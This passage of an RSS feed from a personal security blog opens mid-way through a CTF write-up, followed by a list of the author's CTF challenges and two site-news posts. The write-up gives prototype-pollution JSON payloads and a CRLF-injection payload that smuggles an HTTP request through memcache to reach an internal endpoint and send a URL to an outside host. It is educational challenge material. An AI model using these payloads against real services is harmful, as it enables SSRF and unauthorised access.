// did you know proto? i heard you can even inject them https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto

const readline = require("readline");
const fs = require("fs");
const MemcacheClient = require("memcache-client");

const config = []; // TODO(adamyi): support custom configuration

const rl = readline.createInterface({
  input: process.stdin,
  output: process.stdout,
});

const code = fs.readFileSync(__filename);

const getLine = (function () {
  const getLineGen = (async function* () {
    for await (const line of rl) {
      yield line;
    }
  })();
  return async () => (await getLineGen.next()).value;
})();

var count = 0;
var matrix = [];
for (var i = 0; i < 3; i++) {
  matrix[i] = [null, null, null];
}

async function play() {
  try {
    var result = "d";
    for (var i = 0; i < 9; i++) {
      var req = JSON.parse(await getLine());
      if (matrix[req.x][req.y] != null) {
        result = "e";
        break;
      }
      matrix[req.x][req.y] = req.p;
      console.log(JSON.stringify({ res: "c", req: req }));
      if (
        (matrix[req.x][0] === matrix[req.x][1] &&
          matrix[req.x][1] === matrix[req.x][2]) ||
        (matrix[0][req.y] === matrix[1][req.y] &&
          matrix[1][req.y] === matrix[2][req.y]) ||
        (req.x == req.y &&
          matrix[0][0] === matrix[1][1] &&
          matrix[1][1] === matrix[2][2]) ||
        (req.x + req.y == 2 &&
          matrix[0][2] === matrix[1][1] &&
          matrix[1][1] === matrix[2][0])
      ) {
        result = req.p;
        if (i < 4) {
          // win with less than 5 steps, how is this even possible
          result = process.env.WIN5_FLAG;
        }
        if (i < 2) {
          // win with less than 3 steps, how is this even possible
          result = process.env.WIN3_FLAG;
        }
        break;
      }
    }
  } catch (err) {
    result = "e";
  }
  if (result == "e") {
    console.log(
      JSON.stringify({
        res: result,
        stacktrace: "stack trace is hard so here's the source code: " + code,
      })
    );
  } else {
    if (result != "d") {
      // increment winning count for our fancy scoreboard (it's not yet fully implemented)
      var server = "127.0.0.1:11211";
      if (config.server) {
        result =
          "weird this config function is still under development how did you set it? anyway here's a flag: " +
          process.env.CONFIG_FLAG;
        server = config.server;
      }
      // use player name (X/O) unless a dedicated scoreboard_name is specified
      var player = req.p;
      if (req.scoreboard_name) player = req.scoreboard_name;
      const client = new MemcacheClient({ server });
      try {
        // increment winning count
        await client.incr(player, 1, function (err, data) {
          result += " (win count: " + data + ")";
        });
      } catch (err) {}
    }
    console.log(
      JSON.stringify({
        res: result,
        /* advertisement: "we have a new game mode! https://qos-tictactoe.quoccabank.com/multiplayer", */ // disabled because it's still under development
      })
    );
  }
  process.exit(0);
}

play();
</pre>

<p>With the source code, we now see that there are three flags - win with less than 3 steps, win with less than 5 steps, and change <code>config.server</code>. There&#39;s also an interesting multiplayer endpoint.</p>
<p>By default, the javascript switches between player <code>X</code> and player <code>O</code> but you can send your own requests all using player <code>X</code>. This way you can win with 3+ steps. This gives you the &quot;win with less than 5 steps&quot; flag.</p>
<p>The developer does a smart optimization here - instead of always checking global state to determine winning conditions, it only checks affected rows/columns:</p>
<pre class="prettyprint">
if (
  (matrix[req.x][0] === matrix[req.x][1] &&
   matrix[req.x][1] === matrix[req.x][2]) ||
  (matrix[0][req.y] === matrix[1][req.y] &&
    matrix[1][req.y] === matrix[2][req.y]) ||
  (req.x == req.y &&
    matrix[0][0] === matrix[1][1] &&
    matrix[1][1] === matrix[2][2]) ||
  (req.x + req.y == 2 &&
    matrix[0][2] === matrix[1][1] &&
    matrix[1][1] === matrix[2][0])
)
</pre>

<p>Previously when we set <code>req.x</code> to 4, this causes an exception, because we are dereferencing an undefined variable. We can observe that if we set <code>req.x</code> to <code>__proto__</code>, <code>matrix[req.x]</code> is defined and <code>matrix[req.x][0]</code> returns <code>undefined</code>. Now this is just checking <code>undefined === undefined</code> which returns <code>true</code>.</p>
<p>Therefore, by sending <code>{&quot;x&quot;:&quot;__proto__&quot;,&quot;y&quot;:0,&quot;p&quot;:&quot;X&quot;}</code> to the server, we can win with just 1 step. We get the second flag.</p>
<p>We can also leverage <a href="https://portswigger.net/daily-swig/prototype-pollution-the-dangerous-and-underrated-vulnerability-impacting-javascript-applications">prototype pollution</a> to change the undefined <code>server</code> attribute of <code>config</code> (an empty array). Send <code>{&quot;x&quot;:&quot;__proto__&quot;,&quot;y&quot;:&quot;server&quot;,&quot;p&quot;:&quot;127.0.0.1:80&quot;}</code> to get the third flag.</p>
<p>Now the only remaining flag is the hardest flag in this exam.</p>
<p>Let&#39;s take a look at multiplayer!</p>
<p><img src="/blog/images/2020/09/qos_multiplayer.png" alt="tic tac toe multiplayer mode"></p>
<p>We give it our server URL but get <code>under development, only accessible via http://127.0.0.1/multiplayer/newgame</code> error message. This means we need to somehow find a Server-side Request Forgery (SSRF) vulnerability on <code>qos-tictactoe</code> service.</p>
<p>Looking through the source code we dumped earlier, the only place it sends out a request is to connect to the Memcache server to increment winning count, but it&#39;s not using HTTP protocol.</p>
<p>However, Memcached is a plain-text-based TCP protocol! We might be able to smuggle HTTP traffic in.</p>
<p>A further examination of the <a href="https://github.com/memcached/memcached/blob/master/doc/protocol.txt">Memcached protocol</a> indicates that it sends something like this to the server:</p>
<p><code>incr &lt;key&gt; &lt;value&gt; [noreply]\r\n</code></p>
<p><code>&lt;value&gt;</code> is always 1 but we control the <code>&lt;key&gt;</code> here.</p>
<p>Let&#39;s review the source code of the <a href="https://github.com/electrode-io/memcache/tree/master/packages/memcache-client">memcache-client</a> npm dependency.</p>
<pre class="prettyprint">
// This code snippet is from https://github.com/electrode-io/memcache/blob/834320d17f6830ec604bca8350ff90259c5ac5de/packages/memcache-client/lib/client.js

// a convenient method to send a single line as a command to the server
// with \r\n appended for you automatically
cmd(data, options, callback) {
  return this.send(
    socket => {
      socket.write(data);
      if (options && options.noreply) {
        socket.write(" noreply\r\n");
      } else {
        socket.write("\r\n");
      }
    },
    options,
    callback
  );
}
// incr key by value, fire & forget with options.noreply
incr(key, value, options, callback) {
  return this.cmd(`incr ${key} ${value}`, options, callback);
}
</pre>

<p>It&#39;s a really simple library and doesn&#39;t have any checks in it - it&#39;s vulnerable to CRLF injection! We can potentially have <code>\r\n</code> in our player name.</p>
<p>We can use this to connect to <code>127.0.0.1:80</code>. HTTP/1.1 supports request pipelining, i.e. it keeps TCP connection open across multiple requests. However we need to make sure no illegal request is sent. Otherwise the server returns a 400 and closes the connection.</p>
<p>We can now send the following request over:</p>
<pre><code>incr / HTTP/1.1\r\n
Host: 127.0.0.1\r\n
\r\n
POST /multiplayer/newgame\r\n
Host: 127.0.0.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 31\r\n
\r\n
url=https%3A%2F%2Fhacker.com%2F\r\n
\r\n
 1\r\n
</code></pre><p>(although INCR is not a valid HTTP method, the golang server doesn&#39;t disconnect you... you can try this yourself by <code>curl -X INCR</code>)</p>
<p>Final payload: <code>{&quot;x&quot;:&quot;__proto__&quot;,&quot;y&quot;:&quot;server&quot;,&quot;p&quot;:&quot;127.0.0.1:80&quot;, &quot;scoreboard_name&quot;: &quot;/ HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\nPOST /multiplayer/newgame HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 31\r\n\r\nurl=https%3A%2F%2Fhacker.com%2F\r\n\r\n&quot;}</code></p>
<p>We get a URL sent to our server. Visiting that URL returns a flag.</p>

        ]]>
      </description>
      <category>ctf</category> 
      
    </item>
    <item>
      <title>My CTF Challenges</title>
      <pubDate>10 Apr 2020 00:00:00 GMT</pubDate>
      <link>https://adamyi.com/blog/2020/04/my-ctf-challenges?utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=blog_feed</link>
      <guid isPermaLink="true">https://adamyi.com/blog/2020/04/my-ctf-challenges?utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=blog_feed</guid>
      <description>
        <![CDATA[
          <img src="https://ga-beacon.appspot.com/UA-88064834-2/blog/2020/04/my-ctf-challenges?feed_type=rss&pixel">

        <h1 id="my-ctf-challenges">My CTF Challenges</h1>
<p>Below are a list of all CTF challenges that I wrote. I&#39;ll keep updating this list.</p>
<p>I&#39;ve deployed a demo site for most of the challenges. It&#39;s not guaranteed that the demo site works as intended though (they are not tested nor actively looked after)... The demo sites are offered as a courtesy, because I believe it&#39;s a great learning opportunity for others, and my way of giving back to the community. Congrats if you get RCE, but please do not use the server for other purposes (e.g. mining). If I found that out, I&#39;ll take down the server, and it won&#39;t benefit anyone :(</p>
<p>Update (2020-07-27): these servers are temporarily taken down and links are removed from this page.</p>
<h3 id="api-service-proxy">API Service Proxy</h3>
<p>A vulnerable API Gateway infra with 4 flags: easyssrf, sqli, hardssrf, bac. This was designed as an assignment for students in UNSW&#39;s COMP6843 (Extended Web Application Security) course.</p>
<!--
- Play it here: [https://asp.ctf.withadamyi.com](https://asp.ctf.withadamyi.com)
-->
<ul>
<li>Source Code &amp; Solution: <a href="https://github.com/adamyi/comp6443_asp_challenge">https://github.com/adamyi/comp6443_asp_challenge</a></li>
</ul>
<h3 id="geegle3-infra">Geegle3 Infra</h3>
<p>A set of company infrastructure for a BeyondCorp-like zero-trust network, flag submission via working email server (can phish flags from other teams), binary challenges tunneling over websocket, monorepo CTF bazel building and deployment with team isolation, etc.</p>
<p>This was for SECedu CTF 2019, a national CTF competition with students from Sydney, Melbourne, as well as employees from Commonwealth Bank of Australia.</p>
<!--
- Play it here: [https://mail.corp.geegle.org](https://mail.corp.geegle.org) (SSO credentials: username adamsfriends password adamisgood)
- Scoreboard: [https://scoreboard.corp.geegle.org](https://scoreboard.corp.geegle.org) (SSO credentials: username adamsfriends password adamisgood)
-->
<ul>
<li>Source Code (infra): <a href="https://github.com/adamyi/Geegle3/tree/master/infra">https://github.com/adamyi/Geegle3/tree/master/infra</a></li>
<li>Source Code (everything, solution under each chal subdir): <a href="https://github.com/adamyi/Geegle3/">https://github.com/adamyi/Geegle3/</a></li>
<li>All challenges description/emails (not all are unlocked for adamsfriends@): <a href="https://docs.google.com/document/d/1pgIbiwRGKaQQROt0lFuDUrE3Tk7eFbq40aJhb5hx3wY/edit">https://docs.google.com/document/d/1pgIbiwRGKaQQROt0lFuDUrE3Tk7eFbq40aJhb5hx3wY/edit</a></li>
<li>Challenge List: <a href="https://docs.google.com/spreadsheets/d/15xOhZdRnNxNbSMNUSxPG_8K92lHa4z5SKJWPPTy5tAc/edit">https://docs.google.com/spreadsheets/d/15xOhZdRnNxNbSMNUSxPG_8K92lHa4z5SKJWPPTy5tAc/edit</a></li>
</ul>
<h3 id="unhackable-app-engine">Unhackable App Engine</h3>
<p>A serverless app infra that doesn&#39;t scale lol. Hijack arbitrary page via cache key injection. This was for SecTalks Sydney Ninja Night 0x04.</p>
<!--
- Play it here: [https://unhackable.app](https://unhackable.app)
-->
<ul>
<li>Source Code: <a href="https://github.com/sectalks/sectalks/tree/master/ctfs/NN0x04">https://github.com/sectalks/sectalks/tree/master/ctfs/NN0x04</a></li>
<li>Solution: <a href="https://github.com/sectalks/sectalks/tree/master/ctf-solutions/NN0x04">https://github.com/sectalks/sectalks/tree/master/ctf-solutions/NN0x04</a></li>
</ul>
<h3 id="k17coins">K17Coins</h3>
<p>A web challenge for exploiting race conditions. This was part of UNSW Security Society internal CTF.</p>
<!--
- Play it here: [https://k17coins.ctf.withadamyi.com](https://k17coins.ctf.withadamyi.com)
-->
<ul>
<li>Source Code &amp; Solution: <a href="https://github.com/unswsecuritysociety/writeups/tree/master/2019/t2internal/web/K17Coins">https://github.com/unswsecuritysociety/writeups/tree/master/2019/t2internal/web/K17Coins</a></li>
</ul>
<h3 id="guess">Guess</h3>
<p>A Number guessing game CTF challenge. Exploit weak pseudo-random number generator, and reverse engineer gRPC/Protobuf traffic. This was part of UNSW Security Society internal CTF.</p>
<ul>
<li>Source Code &amp; Solution: <a href="https://github.com/unswsecuritysociety/writeups/tree/master/2019/t2internal/misc/guess">https://github.com/unswsecuritysociety/writeups/tree/master/2019/t2internal/misc/guess</a></li>
</ul>
<h3 id="docs">Docs</h3>
<p>A LaTeX injection web challenge with incremental steps (from arbitrary file read to RCE). This was part of SECedu CTF 2019.</p>
<!--
- Play it here: [https://docs.corp.geegle.org](https://docs.corp.geegle.org) (SSO credentials: username adamsfriends password adamisgood)
-->
<ul>
<li>Source Code &amp; Solution: <a href="https://github.com/adamyi/Geegle3/tree/master/chals/web/docs">https://github.com/adamyi/Geegle3/tree/master/chals/web/docs</a></li>
</ul>
<h3 id="pasteweb">PasteWeb</h3>
<p>A XSS challenge with a 5-step chain and script gadget. This was part of SECedu CTF 2019.</p>
<!--
- Play it here: [https://pasteweb.corp.geegle.org](https://pasteweb.corp.geegle.org) (SSO credentials: username adamsfriends password adamisgood)
-->
<ul>
<li>Source Code &amp; Solution: <a href="https://github.com/adamyi/Geegle3/tree/master/chals/web/pasteweb">https://github.com/adamyi/Geegle3/tree/master/chals/web/pasteweb</a></li>
</ul>
<h3 id="seclearn">SecLearn</h3>
<p>A XSS challenge by abusing Chrome XSS Auditor and browser side channel (xsssearch + timing). This was part of SECedu CTF 2019.</p>
<!--
- Play it here: [https://seclearn.corp.geegle.org](https://seclearn.corp.geegle.org) (SSO credentials: username adamsfriends password adamisgood)
-->
<ul>
<li>Source Code &amp; Solution: <a href="https://github.com/adamyi/Geegle3/tree/master/chals/web/seclearn">https://github.com/adamyi/Geegle3/tree/master/chals/web/seclearn</a></li>
</ul>
<h3 id="search">Search</h3>
<p>A working search engine with a simple SSRF vulnerability. This was part of SECedu CTF 2019.</p>
<!--
- Play it here: [https://geegle.org](https://geegle.org)
-->
<ul>
<li>Source Code: <a href="https://github.com/adamyi/Geegle3/tree/master/chals/web/search">https://github.com/adamyi/Geegle3/tree/master/chals/web/search</a></li>
</ul>
<h3 id="bugreport">bugreport</h3>
<p>A XXE challenge, in which you need to use FTP to bypass HTTP(S) filters. This was part of SECedu CTF 2019.</p>
<!--
- Play it here: [https://bugreport.corp.geegle.org/api/bugreport/csp](https://bugreport.corp.geegle.org/api/bugreport/csp) (SSO credentials: username adamsfriends password adamisgood)
-->
<ul>
<li>Source Code &amp; Solution: <a href="https://github.com/adamyi/Geegle3/tree/master/chals/web/bugreport">https://github.com/adamyi/Geegle3/tree/master/chals/web/bugreport</a></li>
</ul>
<h3 id="flatearth">FlatEarth</h3>
<p>A PHP challenge (switch weak typing + SQLi + assert RCE). This was part of SECedu CTF 2019.</p>
<!--
- Play it here: [https://flatearth.corp.geegle.org](https://flatearth.corp.geegle.org) (SSO credentials: username adamsfriends password adamisgood)
-->
<ul>
<li>Source Code &amp; Solution: <a href="https://github.com/adamyi/Geegle3/tree/master/chals/web/flatearth">https://github.com/adamyi/Geegle3/tree/master/chals/web/flatearth</a></li>
</ul>
<h3 id="memegen">memegen</h3>
<p>PHP LD_PRELOAD injection to get RCE. This was part of SECedu CTF 2019.</p>
<!--
- Play it here: [https://memegen.corp.geegle.org](https://memegen.corp.geegle.org) (SSO credentials: username adamsfriends password adamisgood)
-->
<ul>
<li>Source Code &amp; Solution: <a href="https://github.com/adamyi/Geegle3/tree/master/chals/web/memegen">https://github.com/adamyi/Geegle3/tree/master/chals/web/memegen</a></li>
</ul>

        ]]>
      </description>
      <category>ctf</category> 
      
    </item>
    <item>
      <title>Opensourcing EASFS</title>
      <pubDate>26 Aug 2019 00:00:00 GMT</pubDate>
      <link>https://adamyi.com/blog/2019/08/opensourcing-easfs?utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=blog_feed</link>
      <guid isPermaLink="true">https://adamyi.com/blog/2019/08/opensourcing-easfs?utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=blog_feed</guid>
      <description>
        <![CDATA[
          <img src="https://ga-beacon.appspot.com/UA-88064834-2/blog/2019/08/opensourcing-easfs?feed_type=rss&pixel">

        <h1 id="opensourcing-easfs">Opensourcing EASFS</h1>
<p>EASFS (EAsy Static Front-end Server) is now open-sourced! Source code available at <a href="https://github.com/adamyi/easfs">https://github.com/adamyi/easfs</a>.</p>
<h2 id="what-is-easfs">What is EASFS</h2>
<p>It&#39;s a general-purpose front-end server that allows fast development and iterations of static websites through YAML and Markdown. It&#39;s similar to Jekyll but supports more robust features, and also renders pages at request time.</p>
<p>It originated as a fork to Google&#39;s <a href="https://github.com/google/WebFundamentals">WebFundamentals</a>, but is now completely rewritten in Golang.</p>
<p>While I did write all the back-end code, it currently uses the same front-end as Google DevSite, because I&#39;m lazy to write CSS. But it&#39;s a TODO to move this away from Google DevSite CSS &amp; JS.</p>
<h2 id="example">Example</h2>
<p>This website is powered by EASFS. Its content source code is available at <a href="https://github.com/adamyi/adamyi.com">https://github.com/adamyi/adamyi.com</a>.</p>
<h2 id="oss-license">OSS License</h2>
<p>Copyright 2018-2019 Adam Yi.</p>
<p>Copyright 2014-2018 Google LLC.</p>
<p>Under Apache 2.0 LICENSE.</p>

        ]]>
      </description>
      <category>news</category> <category>myself</category> <category>infra</category> 
      
    </item>
    <item>
      <title>Website redesigned</title>
      <pubDate>08 Oct 2018 00:00:00 GMT</pubDate>
      <link>https://adamyi.com/blog/2018/10/new-website-and-blog?utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=blog_feed</link>
      <guid isPermaLink="true">https://adamyi.com/blog/2018/10/new-website-and-blog?utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=blog_feed</guid>
      <description>
        <![CDATA[
          <img src="https://ga-beacon.appspot.com/UA-88064834-2/blog/2018/10/new-website-and-blog?feed_type=rss&pixel">

        <h1 id="website-redesigned">Website redesigned</h1>
<p>Note: a Chinese version of this post is followed after the English version.</p>
<h2 id="hello-everyone-">Hello everyone!</h2>
<p>Caution: it&#39;s no longer running modified code of Web Fundamentals. Instead, it&#39;s completely rewritten in Golang as a general-purpose front-end server, enabling fast development for static sites through YAML and Markdown. See <a href="https://www.adamyi.com/blog/2019/08/opensourcing-easfs">Opensourcing EASFS</a> for details.</p>
<p>It&#39;s Adam, here with my (once again) redesigned website. A few new things here:</p>
<ul>
<li>There&#39;s a new blog section (yes, my very first blog!) where I may (or may not) share some of the latest cool things that I encounter. Feel free to subscribe to the RSS~</li>
<li>This time, it&#39;s built on top of an infrastructure very similar to <a href="https://developers.google.cn">Google Devsite</a>. In fact, I modified the code from the infra of <a href="https://github.com/google/webFundamentals">Web Fundamentals</a>, an open-source project by Google. It&#39;s similar to Jekyll but rendered dynamically on Google App Engine.</li>
</ul>
<p>Hopefully, everything will go smoothly with my new site.</p>
<h2 id="-">中文</h2>
<p>Caution: 现在网站已经不在运行修改的 WebFundamentals 了，我使用 Golang 彻底重写了它，并作为一个通用的支持通过 YAML 和 Markdown 快速开发静态网站的开发前端服务器。具体请见 <a href="https://www.adamyi.com/blog/2019/08/opensourcing-easfs">开源 EASFS </a>。</p>
<p>大家好！</p>
<p>Adam 带着它的（再次）重新设计的网站来了，这里有几点声明：</p>
<ul>
<li>这次网站有了全新的博客区域（耶！易轩宝宝的第一个博客），我可能（也可能不）在上面放一些我最近遇到的我觉得很有意思的东西，欢迎订阅 RSS</li>
<li>这次，网站基于一个非常类似于<a href="https://developers.google.com">Google Devsite</a>的基础设施。事实上，我修改了 Google 的开源项目 <a href="https://github.com/google/WebFundamentals">Web Fundamentals</a> 的底层代码。这和 Jekyll 很像，只不过是基于 GAE 动态渲染的页面。</li>
</ul>
<p>希望这次的网站能运行的一切顺利～</p>

        ]]>
      </description>
      <category>news</category> <category>myself</category> <category>infra</category> 
      
    </item>
  </channel>
</rss>
